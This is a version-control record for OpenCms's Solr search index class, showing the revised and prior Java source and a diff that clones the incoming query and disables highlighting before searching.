import org.opencms.search.I_CmsIndexWriter;
import org.opencms.search.I_CmsSearchDocument;
import org.opencms.search.documents.I_CmsDocumentFactory;
import org.opencms.util.CmsRequestUtil;
import org.opencms.util.CmsStringUtil;
import java.io.OutputStreamWriter;
import java.io.Writer;
import java.nio.charset.Charset;
import java.util.ArrayList;
import java.util.List;
import java.util.Locale;
import javax.servlet.ServletResponse;
import org.apache.commons.logging.Log;
import org.apache.solr.client.solrj.SolrQuery;
import org.apache.solr.client.solrj.SolrServer;
import org.apache.solr.client.solrj.embedded.EmbeddedSolrServer;
import org.apache.solr.client.solrj.response.QueryResponse;
import org.apache.solr.client.solrj.util.ClientUtils;
import org.apache.solr.common.SolrDocument;
import org.apache.solr.common.SolrDocumentList;
import org.apache.solr.common.util.ContentStreamBase;
import org.apache.solr.common.util.FastWriter;
import org.apache.solr.core.SolrCore;
import org.apache.solr.request.SolrQueryRequest;
import org.apache.solr.response.BinaryQueryResponseWriter;
import org.apache.solr.response.QueryResponseWriter;
import org.apache.solr.response.SolrQueryResponse;
/**
* Implements the search within an Solr index.<p>
*
* @since 8.5.0
*/
public class CmsSolrIndex extends A_CmsSearchIndex {
/** Constant for additional parameter to set the post processor class name. */
public static final String POST_PROCESSOR = CmsSolrIndex.class.getName() + ".postProcessor";
/** The log object for this class. */
private static final Log LOG = CmsLog.getLog(CmsSolrIndex.class);
/** Indicates the maximum number of documents from the complete result set to return. */
private static final int ROWS_MAX = 50;
/** A constant for UTF-8 charset. */
private static final Charset UTF8 = Charset.forName("UTF-8");
/** The post document manipulator. */
private I_CmsSolrPostSearchProcessor m_postProcessor;
/** The embedded Solr server, only one embedded instance per OpenCms. */
private SolrServer m_solr;
/**
* Default constructor.<p>
*/
public CmsSolrIndex() {
super();
}
/**
* Public constructor to create a Solr index.<p>
*
* @param name the name for this index.<p>
*
* @throws CmsIllegalArgumentException if something goes wrong
*/
public CmsSolrIndex(String name)
throws CmsIllegalArgumentException {
super(name);
}
/**
* @see org.opencms.search.A_CmsSearchIndex#addConfigurationParameter(java.lang.String, java.lang.String)
*/
@Override
public void addConfigurationParameter(String key, String value) {
if (POST_PROCESSOR.equals(key)) {
if (CmsStringUtil.isNotEmptyOrWhitespaceOnly(value)) {
try {
setPostProcessor((I_CmsSolrPostSearchProcessor)Class.forName(value).newInstance());
} catch (Exception e) {
CmsException ex = new CmsException(Messages.get().container(
Messages.ERR_POST_PROCESSOR_CLASS_NOT_EXIST_1,
value), e);
LOG.error(ex.getMessage(), ex);
}
}
}
super.addConfigurationParameter(key, value);
}
/**
* @see org.opencms.search.A_CmsSearchIndex#createIndexWriter(boolean, org.opencms.report.I_CmsReport)
*/
@Override
public I_CmsIndexWriter createIndexWriter(boolean create, I_CmsReport report) {
return new CmsSolrIndexWriter(m_solr, this);
}
/**
* @see org.opencms.search.A_CmsSearchIndex#getConfiguration()
*/
@Override
public CmsParameterConfiguration getConfiguration() {
CmsParameterConfiguration result = super.getConfiguration();
if (getPostProcessor() != null) {
result.put(POST_PROCESSOR, getPostProcessor().getClass().getName());
}
return result;
}
/**
* @see org.opencms.search.A_CmsSearchIndex#getDocument(java.lang.String, java.lang.String)
*/
@Override
public I_CmsSearchDocument getDocument(String fieldname, String term) {
try {
SolrQuery query = new SolrQuery();
query.setQuery(fieldname + ":" + term);
QueryResponse res = m_solr.query(query);
if (res != null) {
SolrDocumentList sdl = m_solr.query(query).getResults();
if ((sdl.getNumFound() == 1L) && (sdl.get(0) != null)) {
return new CmsSolrDocument(ClientUtils.toSolrInputDocument(sdl.get(0)));
}
}
} catch (Exception e) {
// ignore and assume that the document could not be found
LOG.error(e.getMessage(), e);
}
return null;
}
/**
* @see org.opencms.search.CmsLuceneIndex#getDocumentFactory(org.opencms.file.CmsResource)
*/
@Override
public I_CmsDocumentFactory getDocumentFactory(CmsResource res) {
if ((res != null) && (getSources() != null)) {
// the result can only be null or the type configured for the resource
if (CmsResourceTypeXmlContent.isXmlContent(res) || CmsResourceTypeXmlContainerPage.isContainerPage(res)) {
return OpenCms.getSearchManager().getDocumentFactory(
CmsSolrDocumentXmlContent.TYPE_XMLCONTENT_SOLR,
"text/html");
} else {
return super.getDocumentFactory(res);
}
}
return null;
}
/**
* Returns the language locale for the given resource in this index.<p>
*
* @param cms the current OpenCms user context
* @param resource the resource to check
* @param availableLocales a list of locales supported by the resource
*
* @return the language locale for the given resource in this index
*/
@Override
public Locale getLocaleForResource(CmsObject cms, CmsResource resource, List<Locale> availableLocales) {
Locale result;
List<Locale> defaultLocales = OpenCms.getLocaleManager().getDefaultLocales(cms, resource);
if ((availableLocales != null) && (availableLocales.size() > 0)) {
result = OpenCms.getLocaleManager().getBestMatchingLocale(
defaultLocales.get(0),
defaultLocales,
availableLocales);
} else {
result = defaultLocales.get(0);
}
return result;
}
/**
* Returns the search post processor.<p>
*
* @return the post processor to use
*/
public I_CmsSolrPostSearchProcessor getPostProcessor() {
return m_postProcessor;
}
/**
* @see org.opencms.search.A_CmsSearchIndex#initialize()
*/
@Override
public void initialize() throws CmsSearchException {
super.initialize();
try {
m_solr = OpenCms.getSearchManager().registerSolrIndex(this);
} catch (CmsConfigurationException ex) {
LOG.error(ex.getMessage());
setEnabled(false);
}
}
/**
* <code>
* #################<br>
* ### DON'T USE ###<br>
* #################<br>
* </code><p>
*
* @Deprecated Use {@link #search(CmsObject, CmsSolrQuery)} or {@link #search(CmsObject, String)} instead
*/
@Override
@Deprecated
public CmsSearchResultList search(CmsObject cms, CmsSearchParameters params) {
throw new UnsupportedOperationException();
}
/**
* Default search method.<p>
*
* @param cms the current CMS object
* @param query the query
*
* @return the results
*
* @throws CmsSearchException if something goes wrong
*
* @see #search(CmsObject, CmsSolrQuery, boolean)
*/
public synchronized CmsSolrResultList search(CmsObject cms, CmsSolrQuery query) throws CmsSearchException {
return search(cms, query, false);
}
/**
* <h4>Performs a search on the Solr index</h4>
*
* Returns a list of 'OpenCms resource documents'
* ({@link CmsSearchResource}) encapsulated within the class {@link CmsSolrResultList}.
* This list can be accessed exactly like an {@link List} which entries are
* {@link CmsSearchResource} that extend {@link CmsResource} and holds the Solr
* implementation of {@link I_CmsSearchDocument} as member. <b>This enables you to deal
* with the resulting list as you do with well known {@link List} and work on it's entries
* like you do on {@link CmsResource}.</b>
*
* <h4>What will be done with the Solr search result?</h4>
* <ul>
* <li>Although it can happen, that there are less results returned than rows were requested
* (imagine an index containing less documents than requested rows) we try to guarantee
* the requested amount of search results and to provide a working pagination with
* security check.</li>
*
* <li>To be sure we get enough documents left even the permission check reduces the amount
* of found documents, the rows are multiplied by <code>'5'</code> and the current page
* additionally the offset is added. The count of documents we don't have enough
* permissions for grows with increasing page number, that's why we also multiply
* the rows by the current page count.</li>
*
* <li>Also make sure we perform the permission check for all found documents, so start with
* the first found doc.</li>
* </ul>
*
* <b>NOTE:</b> If latter pages than the current one are containing protected documents the
* total hit count will be incorrect, because the permission check ends if we have
* enough results found for the page to display. With other words latter pages than
* the current can contain documents that will first be checked if those pages are
* requested to be displayed, what causes a incorrect hit count.<p>
*
* @param cms the CMS object
* @param initQuery the Solr query can also be a {@link CmsSolrQuery}
* @param ignoreMaxRows <code>true</code> to return all all requested rows, <code>false</code> to use max rows
*
* @return the list of found documents
*
* @throws CmsSearchException if something goes wrong
*
* @see org.opencms.search.solr.CmsSolrResultList
* @see org.opencms.search.CmsSearchResource
* @see org.opencms.search.I_CmsSearchDocument
* @see org.opencms.search.solr.CmsSolrQuery
*/
public synchronized CmsSolrResultList search(CmsObject cms, CmsSolrQuery initQuery, boolean ignoreMaxRows)
throws CmsSearchException {
LOG.debug("### START SRARCH (time in ms) ###");
int previousPriority = Thread.currentThread().getPriority();
long startTime = System.currentTimeMillis();
CmsSolrQuery query = new CmsSolrQuery(cms, initQuery);
query.setHighlight(false);
try {
// initialize the search context
CmsObject searchCms = OpenCms.initCmsObject(cms);
// change thread priority in order to reduce search impact on overall system performance
if (getPriority() > 0) {
Thread.currentThread().setPriority(getPriority());
}
// the lists storing the found documents that will be returned
List<CmsSearchResource> resourceDocumentList = new ArrayList<CmsSearchResource>();
SolrDocumentList solrDocumentList = new SolrDocumentList();
// Initialize rows, offset, end and the current page.
int rows = query.getRows() != null ? query.getRows().intValue() : CmsSolrQuery.DEFAULT_ROWS;
if (!ignoreMaxRows && (rows > ROWS_MAX)) {
rows = ROWS_MAX;
}
int start = query.getStart() != null ? query.getStart().intValue() : 0;
int end = start + rows;
int page = 0;
if (rows > 0) {
page = Math.round(start / rows) + 1;
}
// set the start to '0' and expand the rows before performing the query
query.setStart(new Integer(0));
query.setRows(new Integer((5 * rows * page) + start));
// perform the Solr query and remember the original Solr response
QueryResponse queryResponse = m_solr.query(query);
LOG.debug("### Query Time After Execution : " + (System.currentTimeMillis() - startTime));
// initialize the hit count and the max score
long hitCount, visibleHitCount = hitCount = queryResponse.getResults().getNumFound();
float maxScore = 0;
// iterate over found documents
for (int i = 0, cnt = 0; (i < hitCount) && (cnt < end); i++) {
try {
SolrDocument doc = queryResponse.getResults().get(i);
I_CmsSearchDocument searchDoc = new CmsSolrDocument(doc);
if (needsPermissionCheck(searchDoc)) {
// only if the document is an OpenCms internal resource perform the permission check
CmsResource resource = getResource(searchCms, searchDoc);
if (resource != null) {
// permission check performed successfully: the user has read permissions!
if (cnt >= start) {
if (m_postProcessor != null) {
doc = m_postProcessor.process(searchCms, resource, doc);
}
resourceDocumentList.add(new CmsSearchResource(resource, searchDoc));
solrDocumentList.add(doc);
maxScore = maxScore < searchDoc.getScore() ? searchDoc.getScore() : maxScore;
}
cnt++;
} else {
visibleHitCount--;
}
}
} catch (Exception e) {
// should not happen, but if it does we want to go on with the next result nevertheless
LOG.warn(Messages.get().getBundle().key(Messages.LOG_RESULT_ITERATION_FAILED_0), e);
}
}
SolrCore core = null;
if (m_solr instanceof EmbeddedSolrServer) {
core = ((EmbeddedSolrServer)m_solr).getCoreContainer().getCore(getName());
}
LOG.debug("### Query Time After Permission : " + (System.currentTimeMillis() - startTime));
// create and return the result
return new CmsSolrResultList(
core,
initQuery,
queryResponse,
solrDocumentList,
resourceDocumentList,
start,
new Integer(rows),
end,
page,
visibleHitCount,
new Float(maxScore),
startTime);
} catch (RuntimeException e) {
throw new CmsSearchException(Messages.get().container(
Messages.ERR_SEARCH_INVALID_SEARCH_1,
query.toString()), e);
} catch (Exception e) {
throw new CmsSearchException(Messages.get().container(
Messages.ERR_SEARCH_INVALID_SEARCH_1,
query.toString()), e);
} finally {
// re-set thread to previous priority
Thread.currentThread().setPriority(previousPriority);
}
}
/**
* Performs a search.<p>
*
* @param cms the cms object
* @param solrQuery the Solr query
*
* @return a list of documents
*
* @throws CmsSearchException if something goes wrong
*
* @see CmsSolrIndex#search(CmsObject, CmsSolrQuery)
*/
public CmsSolrResultList search(CmsObject cms, String solrQuery) throws CmsSearchException {
return search(cms, new CmsSolrQuery(cms, CmsRequestUtil.createParameterMap(solrQuery)));
}
/**
* Sets the search post processor.<p>
*
* @param postProcessor the search post processor to set
*/
public void setPostProcessor(I_CmsSolrPostSearchProcessor postProcessor) {
m_postProcessor = postProcessor;
}
/**
* Writes the response into the writer.<p>
*
* NOTE: Currently not available for HTTP server.<p>
*
* @param response the servlet response
* @param result the result to print
*
* @throws Exception if there is no embedded server
*/
public void writeResponse(ServletResponse response, CmsSolrResultList result) throws Exception {
if (m_solr instanceof EmbeddedSolrServer) {
SolrCore core = ((EmbeddedSolrServer)m_solr).getCoreContainer().getCore(getName());
SolrQueryRequest queryRequest = result.getSolrQueryRequest();
SolrQueryResponse queryResponse = result.getSolrQueryResponse();
QueryResponseWriter responseWriter = core.getQueryResponseWriter(queryRequest);
final String ct = responseWriter.getContentType(queryRequest, queryResponse);
if (null != ct) {
response.setContentType(ct);
}
if (responseWriter instanceof BinaryQueryResponseWriter) {
BinaryQueryResponseWriter binWriter = (BinaryQueryResponseWriter)responseWriter;
binWriter.write(response.getOutputStream(), queryRequest, queryResponse);
} else {
String charset = ContentStreamBase.getCharsetFromContentType(ct);
Writer out = ((charset == null) || charset.equalsIgnoreCase(UTF8.toString())) ? new OutputStreamWriter(
response.getOutputStream(),
UTF8) : new OutputStreamWriter(response.getOutputStream(), charset);
out = new FastWriter(out);
responseWriter.write(out, queryRequest, queryResponse);
out.flush();
}
} else {
throw new UnsupportedOperationException();
}
LOG.debug("### Query Time After Write : " + (System.currentTimeMillis() - result.getStartTime()));
}
/**
* @see org.opencms.search.A_CmsSearchIndex#indexSearcherClose()
*/
@Override
protected void indexSearcherClose() {
// nothing to do here
}
/**
* @see org.opencms.search.A_CmsSearchIndex#indexSearcherOpen(java.lang.String)
*/
@Override
protected void indexSearcherOpen(String path) {
// nothing to do here
}
/**
* @see org.opencms.search.A_CmsSearchIndex#indexSearcherUpdate()
*/
@Override
protected void indexSearcherUpdate() {
// nothing to do here
}
}
| src/org/opencms/search/solr/CmsSolrIndex.java | /*
* File : $Source$
* Date : $Date$
* Version: $Revision$
*
* This library is part of OpenCms -
* the Open Source Content Management System
*
* Copyright (C) 2002 - 2009 Alkacon Software (http://www.alkacon.com)
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* For further information about Alkacon Software, please see the
* company website: http://www.alkacon.com
*
* For further information about OpenCms, please see the
* project website: http://www.opencms.org
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
package org.opencms.search.solr;
import org.opencms.configuration.CmsConfigurationException;
import org.opencms.configuration.CmsParameterConfiguration;
import org.opencms.file.CmsObject;
import org.opencms.file.CmsResource;
import org.opencms.file.types.CmsResourceTypeXmlContainerPage;
import org.opencms.file.types.CmsResourceTypeXmlContent;
import org.opencms.main.CmsException;
import org.opencms.main.CmsIllegalArgumentException;
import org.opencms.main.CmsLog;
import org.opencms.main.OpenCms;
import org.opencms.report.I_CmsReport;
import org.opencms.search.A_CmsSearchIndex;
import org.opencms.search.CmsSearchException;
import org.opencms.search.CmsSearchParameters;
import org.opencms.search.CmsSearchResource;
import org.opencms.search.CmsSearchResultList;
import org.opencms.search.I_CmsIndexWriter;
import org.opencms.search.I_CmsSearchDocument;
import org.opencms.search.documents.I_CmsDocumentFactory;
import org.opencms.util.CmsRequestUtil;
import org.opencms.util.CmsStringUtil;
import java.io.OutputStreamWriter;
import java.io.Writer;
import java.nio.charset.Charset;
import java.util.ArrayList;
import java.util.List;
import java.util.Locale;
import javax.servlet.ServletResponse;
import org.apache.commons.logging.Log;
import org.apache.solr.client.solrj.SolrQuery;
import org.apache.solr.client.solrj.SolrServer;
import org.apache.solr.client.solrj.embedded.EmbeddedSolrServer;
import org.apache.solr.client.solrj.response.QueryResponse;
import org.apache.solr.client.solrj.util.ClientUtils;
import org.apache.solr.common.SolrDocument;
import org.apache.solr.common.SolrDocumentList;
import org.apache.solr.common.util.ContentStreamBase;
import org.apache.solr.common.util.FastWriter;
import org.apache.solr.core.SolrCore;
import org.apache.solr.request.SolrQueryRequest;
import org.apache.solr.response.BinaryQueryResponseWriter;
import org.apache.solr.response.QueryResponseWriter;
import org.apache.solr.response.SolrQueryResponse;
/**
* Implements the search within an Solr index.<p>
*
* @since 8.5.0
*/
public class CmsSolrIndex extends A_CmsSearchIndex {
/** Constant for additional parameter to set the post processor class name. */
public static final String POST_PROCESSOR = CmsSolrIndex.class.getName() + ".postProcessor";
/** The log object for this class. */
private static final Log LOG = CmsLog.getLog(CmsSolrIndex.class);
/** Indicates the maximum number of documents from the complete result set to return. */
private static final int ROWS_MAX = 50;
/** A constant for UTF-8 charset. */
private static final Charset UTF8 = Charset.forName("UTF-8");
/** The post document manipulator. */
private I_CmsSolrPostSearchProcessor m_postProcessor;
/** The embedded Solr server, only one embedded instance per OpenCms. */
private SolrServer m_solr;
/**
* Default constructor.<p>
*/
public CmsSolrIndex() {
super();
}
/**
* Public constructor to create a Solr index.<p>
*
* @param name the name for this index.<p>
*
* @throws CmsIllegalArgumentException if something goes wrong
*/
public CmsSolrIndex(String name)
throws CmsIllegalArgumentException {
super(name);
}
/**
* @see org.opencms.search.A_CmsSearchIndex#addConfigurationParameter(java.lang.String, java.lang.String)
*/
@Override
public void addConfigurationParameter(String key, String value) {
if (POST_PROCESSOR.equals(key)) {
if (CmsStringUtil.isNotEmptyOrWhitespaceOnly(value)) {
try {
setPostProcessor((I_CmsSolrPostSearchProcessor)Class.forName(value).newInstance());
} catch (Exception e) {
CmsException ex = new CmsException(Messages.get().container(
Messages.ERR_POST_PROCESSOR_CLASS_NOT_EXIST_1,
value), e);
LOG.error(ex.getMessage(), ex);
}
}
}
super.addConfigurationParameter(key, value);
}
/**
* @see org.opencms.search.A_CmsSearchIndex#createIndexWriter(boolean, org.opencms.report.I_CmsReport)
*/
@Override
public I_CmsIndexWriter createIndexWriter(boolean create, I_CmsReport report) {
return new CmsSolrIndexWriter(m_solr, this);
}
/**
* @see org.opencms.search.A_CmsSearchIndex#getConfiguration()
*/
@Override
public CmsParameterConfiguration getConfiguration() {
CmsParameterConfiguration result = super.getConfiguration();
if (getPostProcessor() != null) {
result.put(POST_PROCESSOR, getPostProcessor().getClass().getName());
}
return result;
}
/**
* @see org.opencms.search.A_CmsSearchIndex#getDocument(java.lang.String, java.lang.String)
*/
@Override
public I_CmsSearchDocument getDocument(String fieldname, String term) {
try {
SolrQuery query = new SolrQuery();
query.setQuery(fieldname + ":" + term);
QueryResponse res = m_solr.query(query);
if (res != null) {
SolrDocumentList sdl = m_solr.query(query).getResults();
if ((sdl.getNumFound() == 1L) && (sdl.get(0) != null)) {
return new CmsSolrDocument(ClientUtils.toSolrInputDocument(sdl.get(0)));
}
}
} catch (Exception e) {
// ignore and assume that the document could not be found
LOG.error(e.getMessage(), e);
}
return null;
}
/**
* @see org.opencms.search.CmsLuceneIndex#getDocumentFactory(org.opencms.file.CmsResource)
*/
@Override
public I_CmsDocumentFactory getDocumentFactory(CmsResource res) {
if ((res != null) && (getSources() != null)) {
// the result can only be null or the type configured for the resource
if (CmsResourceTypeXmlContent.isXmlContent(res) || CmsResourceTypeXmlContainerPage.isContainerPage(res)) {
return OpenCms.getSearchManager().getDocumentFactory(
CmsSolrDocumentXmlContent.TYPE_XMLCONTENT_SOLR,
"text/html");
} else {
return super.getDocumentFactory(res);
}
}
return null;
}
/**
* Returns the language locale for the given resource in this index.<p>
*
* @param cms the current OpenCms user context
* @param resource the resource to check
* @param availableLocales a list of locales supported by the resource
*
* @return the language locale for the given resource in this index
*/
@Override
public Locale getLocaleForResource(CmsObject cms, CmsResource resource, List<Locale> availableLocales) {
Locale result;
List<Locale> defaultLocales = OpenCms.getLocaleManager().getDefaultLocales(cms, resource);
if ((availableLocales != null) && (availableLocales.size() > 0)) {
result = OpenCms.getLocaleManager().getBestMatchingLocale(
defaultLocales.get(0),
defaultLocales,
availableLocales);
} else {
result = defaultLocales.get(0);
}
return result;
}
/**
* Returns the search post processor.<p>
*
* @return the post processor to use
*/
public I_CmsSolrPostSearchProcessor getPostProcessor() {
return m_postProcessor;
}
/**
* @see org.opencms.search.A_CmsSearchIndex#initialize()
*/
@Override
public void initialize() throws CmsSearchException {
super.initialize();
try {
m_solr = OpenCms.getSearchManager().registerSolrIndex(this);
} catch (CmsConfigurationException ex) {
LOG.error(ex.getMessage());
setEnabled(false);
}
}
/**
* <code>
* #################<br>
* ### DON'T USE ###<br>
* #################<br>
* </code><p>
*
* @Deprecated Use {@link #search(CmsObject, CmsSolrQuery)} or {@link #search(CmsObject, String)} instead
*/
@Override
@Deprecated
public CmsSearchResultList search(CmsObject cms, CmsSearchParameters params) {
throw new UnsupportedOperationException();
}
/**
* Default search method.<p>
*
* @param cms the current CMS object
* @param query the query
*
* @return the results
*
* @throws CmsSearchException if something goes wrong
*
* @see #search(CmsObject, CmsSolrQuery, boolean)
*/
public synchronized CmsSolrResultList search(CmsObject cms, CmsSolrQuery query) throws CmsSearchException {
return search(cms, query, false);
}
/**
* <h4>Performs a search on the Solr index</h4>
*
* Returns a list of 'OpenCms resource documents'
* ({@link CmsSearchResource}) encapsulated within the class {@link CmsSolrResultList}.
* This list can be accessed exactly like an {@link List} which entries are
* {@link CmsSearchResource} that extend {@link CmsResource} and holds the Solr
* implementation of {@link I_CmsSearchDocument} as member. <b>This enables you to deal
* with the resulting list as you do with well known {@link List} and work on it's entries
* like you do on {@link CmsResource}.</b>
*
* <h4>What will be done with the Solr search result?</h4>
* <ul>
* <li>Although it can happen, that there are less results returned than rows were requested
* (imagine an index containing less documents than requested rows) we try to guarantee
* the requested amount of search results and to provide a working pagination with
* security check.</li>
*
* <li>To be sure we get enough documents left even the permission check reduces the amount
* of found documents, the rows are multiplied by <code>'5'</code> and the current page
* additionally the offset is added. The count of documents we don't have enough
* permissions for grows with increasing page number, that's why we also multiply
* the rows by the current page count.</li>
*
* <li>Also make sure we perform the permission check for all found documents, so start with
* the first found doc.</li>
* </ul>
*
* <b>NOTE:</b> If latter pages than the current one are containing protected documents the
* total hit count will be incorrect, because the permission check ends if we have
* enough results found for the page to display. With other words latter pages than
* the current can contain documents that will first be checked if those pages are
* requested to be displayed, what causes a incorrect hit count.<p>
*
* @param cms the CMS object
* @param query the Solr query can also be a {@link CmsSolrQuery}
* @param ignoreMaxRows <code>true</code> to return all all requested rows, <code>false</code> to use max rows
*
* @return the list of found documents
*
* @throws CmsSearchException if something goes wrong
*
* @see org.opencms.search.solr.CmsSolrResultList
* @see org.opencms.search.CmsSearchResource
* @see org.opencms.search.I_CmsSearchDocument
* @see org.opencms.search.solr.CmsSolrQuery
*/
public synchronized CmsSolrResultList search(CmsObject cms, CmsSolrQuery query, boolean ignoreMaxRows)
throws CmsSearchException {
LOG.debug("### START SRARCH (time in ms) ###");
int previousPriority = Thread.currentThread().getPriority();
long startTime = System.currentTimeMillis();
try {
// initialize the search context
CmsObject searchCms = OpenCms.initCmsObject(cms);
// change thread priority in order to reduce search impact on overall system performance
if (getPriority() > 0) {
Thread.currentThread().setPriority(getPriority());
}
// the lists storing the found documents that will be returned
List<CmsSearchResource> resourceDocumentList = new ArrayList<CmsSearchResource>();
SolrDocumentList solrDocumentList = new SolrDocumentList();
// Initialize rows, offset, end and the current page.
int rows = query.getRows() != null ? query.getRows().intValue() : CmsSolrQuery.DEFAULT_ROWS;
if (!ignoreMaxRows && (rows > ROWS_MAX)) {
rows = ROWS_MAX;
}
int start = query.getStart() != null ? query.getStart().intValue() : 0;
int end = start + rows;
int page = 0;
if (rows > 0) {
page = Math.round(start / rows) + 1;
}
// set the start to '0' and expand the rows before performing the query
query.setStart(new Integer(0));
query.setRows(new Integer((5 * rows * page) + start));
// perform the Solr query and remember the original Solr response
QueryResponse queryResponse = m_solr.query(query);
LOG.debug("### Query Time After Execution : " + (System.currentTimeMillis() - startTime));
// initialize the hit count and the max score
long hitCount, visibleHitCount = hitCount = queryResponse.getResults().getNumFound();
float maxScore = 0;
// iterate over found documents
for (int i = 0, cnt = 0; (i < hitCount) && (cnt < end); i++) {
try {
SolrDocument doc = queryResponse.getResults().get(i);
I_CmsSearchDocument searchDoc = new CmsSolrDocument(doc);
if (needsPermissionCheck(searchDoc)) {
// only if the document is an OpenCms internal resource perform the permission check
CmsResource resource = getResource(searchCms, searchDoc);
if (resource != null) {
// permission check performed successfully: the user has read permissions!
if (cnt >= start) {
if (m_postProcessor != null) {
doc = m_postProcessor.process(searchCms, resource, doc);
}
resourceDocumentList.add(new CmsSearchResource(resource, searchDoc));
solrDocumentList.add(doc);
maxScore = maxScore < searchDoc.getScore() ? searchDoc.getScore() : maxScore;
}
cnt++;
} else {
visibleHitCount--;
}
}
} catch (Exception e) {
// should not happen, but if it does we want to go on with the next result nevertheless
LOG.warn(Messages.get().getBundle().key(Messages.LOG_RESULT_ITERATION_FAILED_0), e);
}
}
SolrCore core = null;
if (m_solr instanceof EmbeddedSolrServer) {
core = ((EmbeddedSolrServer)m_solr).getCoreContainer().getCore(getName());
}
LOG.debug("### Query Time After Permission : " + (System.currentTimeMillis() - startTime));
// create and return the result
return new CmsSolrResultList(
core,
query,
queryResponse,
solrDocumentList,
resourceDocumentList,
start,
new Integer(rows),
end,
page,
visibleHitCount,
new Float(maxScore),
startTime);
} catch (RuntimeException e) {
throw new CmsSearchException(Messages.get().container(
Messages.ERR_SEARCH_INVALID_SEARCH_1,
query.toString()), e);
} catch (Exception e) {
throw new CmsSearchException(Messages.get().container(
Messages.ERR_SEARCH_INVALID_SEARCH_1,
query.toString()), e);
} finally {
// re-set thread to previous priority
Thread.currentThread().setPriority(previousPriority);
}
}
/**
* Performs a search.<p>
*
* @param cms the cms object
* @param solrQuery the Solr query
*
* @return a list of documents
*
* @throws CmsSearchException if something goes wrong
*
* @see CmsSolrIndex#search(CmsObject, CmsSolrQuery)
*/
public CmsSolrResultList search(CmsObject cms, String solrQuery) throws CmsSearchException {
return search(cms, new CmsSolrQuery(cms, CmsRequestUtil.createParameterMap(solrQuery)));
}
/**
* Sets the search post processor.<p>
*
* @param postProcessor the search post processor to set
*/
public void setPostProcessor(I_CmsSolrPostSearchProcessor postProcessor) {
m_postProcessor = postProcessor;
}
/**
* Writes the response into the writer.<p>
*
* NOTE: Currently not available for HTTP server.<p>
*
* @param response the servlet response
* @param result the result to print
*
* @throws Exception if there is no embedded server
*/
public void writeResponse(ServletResponse response, CmsSolrResultList result) throws Exception {
if (m_solr instanceof EmbeddedSolrServer) {
SolrCore core = ((EmbeddedSolrServer)m_solr).getCoreContainer().getCore(getName());
SolrQueryRequest queryRequest = result.getSolrQueryRequest();
SolrQueryResponse queryResponse = result.getSolrQueryResponse();
QueryResponseWriter responseWriter = core.getQueryResponseWriter(queryRequest);
final String ct = responseWriter.getContentType(queryRequest, queryResponse);
if (null != ct) {
response.setContentType(ct);
}
if (responseWriter instanceof BinaryQueryResponseWriter) {
BinaryQueryResponseWriter binWriter = (BinaryQueryResponseWriter)responseWriter;
binWriter.write(response.getOutputStream(), queryRequest, queryResponse);
} else {
String charset = ContentStreamBase.getCharsetFromContentType(ct);
Writer out = ((charset == null) || charset.equalsIgnoreCase(UTF8.toString())) ? new OutputStreamWriter(
response.getOutputStream(),
UTF8) : new OutputStreamWriter(response.getOutputStream(), charset);
out = new FastWriter(out);
responseWriter.write(out, queryRequest, queryResponse);
out.flush();
}
} else {
throw new UnsupportedOperationException();
}
LOG.debug("### Query Time After Write : " + (System.currentTimeMillis() - result.getStartTime()));
}
/**
* @see org.opencms.search.A_CmsSearchIndex#indexSearcherClose()
*/
@Override
protected void indexSearcherClose() {
// nothing to do here
}
/**
* @see org.opencms.search.A_CmsSearchIndex#indexSearcherOpen(java.lang.String)
*/
@Override
protected void indexSearcherOpen(String path) {
// nothing to do here
}
/**
* @see org.opencms.search.A_CmsSearchIndex#indexSearcherUpdate()
*/
@Override
protected void indexSearcherUpdate() {
// nothing to do here
}
}
| Use a cloned query for executing search. | src/org/opencms/search/solr/CmsSolrIndex.java | Use a cloned query for executing search. | <ide><path>rc/org/opencms/search/solr/CmsSolrIndex.java
<ide> * requested to be displayed, what causes a incorrect hit count.<p>
<ide> *
<ide> * @param cms the CMS object
<del> * @param query the Solr query can also be a {@link CmsSolrQuery}
<add> * @param initQuery the Solr query can also be a {@link CmsSolrQuery}
<ide> * @param ignoreMaxRows <code>true</code> to return all all requested rows, <code>false</code> to use max rows
<ide> *
<ide> * @return the list of found documents
<ide> * @see org.opencms.search.I_CmsSearchDocument
<ide> * @see org.opencms.search.solr.CmsSolrQuery
<ide> */
<del> public synchronized CmsSolrResultList search(CmsObject cms, CmsSolrQuery query, boolean ignoreMaxRows)
<add> public synchronized CmsSolrResultList search(CmsObject cms, CmsSolrQuery initQuery, boolean ignoreMaxRows)
<ide> throws CmsSearchException {
<ide>
<ide> LOG.debug("### START SRARCH (time in ms) ###");
<ide> int previousPriority = Thread.currentThread().getPriority();
<ide> long startTime = System.currentTimeMillis();
<add>
<add> CmsSolrQuery query = new CmsSolrQuery(cms, initQuery);
<add> query.setHighlight(false);
<add>
<ide> try {
<ide>
<ide> // initialize the search context
<ide> // create and return the result
<ide> return new CmsSolrResultList(
<ide> core,
<del> query,
<add> initQuery,
<ide> queryResponse,
<ide> solrDocumentList,
<ide> resourceDocumentList, |
|
